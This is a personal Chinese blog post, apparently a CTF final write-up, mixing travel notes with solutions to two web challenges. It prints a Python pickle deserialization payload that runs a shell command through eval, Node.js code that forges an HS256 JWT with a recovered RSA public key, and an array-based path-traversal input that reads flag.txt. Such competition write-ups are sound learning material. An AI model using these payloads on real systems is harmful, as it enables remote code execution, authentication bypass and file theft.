2025 长城杯 final

好久没写博客了 写点记录吧

day 0

福建-福州

14dde85960750317240f6858a3ddb10

酒店风景还是很顶的 但是沟槽的里比赛场地30km 也是神人了

ee785cfd1409ef2608dfd1bcd71d299c4f4c7782f3f446d2a7d378b13394fb

晚上去和VVNN的师傅们团建,来福建就是应该吃海鲜啊

6654d4b3f8168b8bcbe3496d7d500d2

还是很焦虑第二天的比赛

day 1

上来先做ctf

booklist

/backup 路由存在源代码泄露 看源码可以打pickle反序列化,不过需要绕过登录校验

/404 写的就有问题 模板渲染不是这样子写的 存在ssti

image-20250504103140261

需要注意的是 这里的起始点必须是error好像,使用其他的会报错 不知道为什么。本来想直接rce的 但是搞了半天也没成功

成功获取到全局变量,得到账号密码

image-20250504103244317

然后就是生成一个pickle文件 通过任意文件上传上传到 books 目录下 命令执行即可

image-20250504103333317

1
2
3
4
5
6
7
8
9
import pickle


class A():
def __reduce__(self):
return (eval, ("__import__('o'+'s').system('ls / > ./static/img/ls')",))
a = A()
with open("./test.pkl", "wb") as f:
pickle.dump(a, f)

image-20250504103354834

在static下获取到flag

Deprecated

这里的jwt写的也很奇怪

image-20250504103424925

decode的时候支持使用非对称RS256和对称HS256,但是签名的时候用的是非对称加密RS256

如果能拿到公钥,那么就可以任意身份伪造

想到网鼎杯那个题目了 需要用多个hs256计算得到的结果攻击出来公钥

这里我发现我没这个工具 还好乙醇师傅的电脑上有

image-20250504103629931

PS: 这个终端一看就是乙醇师傅的电脑,二刺螈蒸鳄心

得到公钥,直接伪造即可

1
2
3
4
5
6
7
8
const jwt = require('jsonwebtoken');
const fs = require('fs');
const publicKey = fs.readFileSync('./b3ec3db187fa955c_65537_x509.pem', 'utf8');
data={
username: "admin", priviledge:'File-Priviledged-User'
}
data = Object.assign(data);
console.log( jwt.sign(data, publicKey, { algorithm:'HS256'}))

存在文件读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
router.get('/checkfile', AuthMiddleware, async (req, res, next) => {
try{
let user = await db.getUser(req.data.username);
if (user === undefined) {
return res.send(`user ${req.data.username} doesn't exist.`);
}
if (req.data.username === 'admin' && req.data.priviledge==='File-Priviledged-User'){
let file=req.query.file;
if (!file) {
return res.send('File name not specified.');
}
if (!allowedFile(file)) {
return res.send('File type not allowed.');
}
try{
if (file.includes(' ') || file.includes('/') || file.includes('..')) {
return res.send('Invalid filename!');
}
}
catch(err){
return res.send('An error occured!');
}

if (file.length > 10) {
file = file.slice(0, 10);
}
const returned = path.resolve('./' + file);
fs.readFile(returned, (err) => {
if (err) {
return res.send('An error occured!');
}
res.sendFile(returned);
});
}
else{
return res.send('Sorry Only priviledged Admin can check the file.').status(403);
}

}catch (err){
return next(err);
}
});
const allowedFile = (file) => {
const format = file.slice(file.indexOf('.') + 1);
return format == 'log';
};

这个逻辑其实乍一眼看没问题 ,但是重点在这里

image-20250504104304559

nodejs也有若比较和强比较 这里就意味着形如这样也能返回true

image-20250504104422897

那思路就很简单了,使用数组。利用js中indexOf这些都支持数组和字符串的函数即可绕过

1
var filename = ['','','','','','','','','','../../../../../flag.txt',"./",'.','log']

image-20250504104618411

渗透

两个靶机可以在一个靶机上获取到部分源码,另外一个靶机是魔改的

有个接口用了fastjson 一直没发现 赛后交流的啊时候发现了

另一个溯源反打的是神秘靶机 有个download.php 要猜测参数 神秘参数猜不出来 爆破了很多字典也没跑出来 摆烂了

后面又看ctf 有个原型链污染

神秘污染 黑盒污染 也没干出来 后面就摆烂了 我是采购

最后ctf第一 总榜第四 感谢这几位大跌 @Carbo@enllus1on@CHHHCHHOH 带我

day2

滚回学校做我的采购

这个茶真的很好喝

694d7bc3fa269cefade6df7f3293267

找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作找不到工作